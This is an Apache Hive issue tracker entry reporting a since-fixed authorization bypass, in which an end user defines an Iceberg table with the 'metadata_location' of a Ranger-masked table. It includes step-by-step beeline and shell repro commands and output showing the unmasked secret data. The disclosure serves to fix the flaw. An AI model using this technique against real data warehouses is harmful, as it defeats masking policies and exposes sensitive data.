[HIVE-27322] Iceberg: metadata location overrides can cause data breach - custom location to AuthZ

• Type: Sub-task
• Status: Closed
• Priority: Blocker
• Resolution: Fixed
• Affects Version/s: 4.0.0-alpha-2
• Fix Version/s: 4.0.0
• Component/s: Iceberg integration
• Labels: check pull-request-available
• Assignee: Ayush Saxena
• Reporter: Janos Kovacs
• Created: 05/May/23 07:15
• Updated: 29/Mar/24 17:50
• Resolved: 14/Sep/23 14:52

Description

Set to bug/blocker instead of enhancement due to its security related nature, Hive4 should not be released w/o fix for this. Please reset if needed.

 

Context: 

• There are some core tables with sensitive data that users can only query with data masking enforced (e.g. via Ranger). Let's assume this is the `default.icebergsecured` table.
• An end-user can only access the masked form of the sensitive data as expected...
• The users also have privilege to create new tables in their own sandbox databases - let's assume this is the `default.trojanhorse` table for now.
• The user can create a malicious table that exposes the sensitive data non-masked leading to a possible data breach.
• Hive runs with doAs=false to be able to enforce FGAC and prevent end-user direct file-system access needs

Repro:

• First make sure the data is secured by the masking policy:

  <kinit as privileged user>
  beeline -e "
  DROP TABLE IF EXISTS default.icebergsecured PURGE;
  CREATE EXTERNAL TABLE default.icebergsecured (txt string, secret string) STORED BY ICEBERG;
  INSERT INTO default.icebergsecured VALUES ('You might be allowed to see this.','You are NOT allowed to see this!');
  "
  
  <kinit as end user>
  beeline -e "
  SELECT * FROM default.icebergsecured;
  "
  
  +------------------------------------+--------------------------------+
  |         icebergsecured.txt         |     icebergsecured.secret      |
  +------------------------------------+--------------------------------+
  | You might be allowed to see this.  | MASKED BY RANGER FOR SECURITY  |
  +------------------------------------+--------------------------------+
  

• Now let the user to create the malicious table exposing the sensitive data:

  <kinit as end user>
  SECURED_META_LOCATION=$(HADOOP_CLIENT_OPTS="-Djline.terminal=jline.UnsupportedTerminal" beeline -e "DESCRIBE FORMATTED default.icebergsecured;" 2>/dev/null |grep metadata_location  |grep -v previous_metadata_location | awk '{print $5}')
  beeline -e "
  DROP TABLE IF EXISTS default.trojanhorse;
  CREATE EXTERNAL TABLE default.trojanhorse (txt string, secret string) STORED BY ICEBERG
  TBLPROPERTIES (
    'metadata_location'='${SECURED_META_LOCATION}');
  SELECT * FROM default.trojanhorse;
  "
  
  +------------------------------------+-----------------------------------+
  |          trojanhorse.txt           |        trojanhorse.secret         |
  +------------------------------------+-----------------------------------+
  | You might be allowed to see this.  | You are not allowed to see this!  |
  +------------------------------------+-----------------------------------+
  

 

Currently - after HIVE-26707 - the rwstorage authorization only has either the dummy path or the explicit path set for uri:  

Permission denied: user [oozie] does not have [RWSTORAGE] privilege on 
[iceberg://default/trojanhorse?snapshot=%2Fwarehouse%2Ftablespace%2Fexternal%2Fhive%2Ftrojanhorse%2Fmetadata%2Fdummy.metadata.json]

Permission denied: user [oozie] does not have [RWSTORAGE] privilege on 
[iceberg://default/trojanhorse?snapshot=%2Fwarehouse%2Ftablespace%2Fexternal%2Fhive%2Ficebergsecured%2Fmetadata%2F00001-f4c2a428-30ce-4afd-82ff-d46ecbf02244.metadata.json] 

This is can be used only to decide whether a user is allowed to create iceberg tables in certain databases with certain names but controlling it's metadata location is hard in that form.

A change is required that takes the custom value from TBLPROPERTIES if set and passes to the Authorizer.

  

Issue Links

• links to: GitHub Pull Request #4673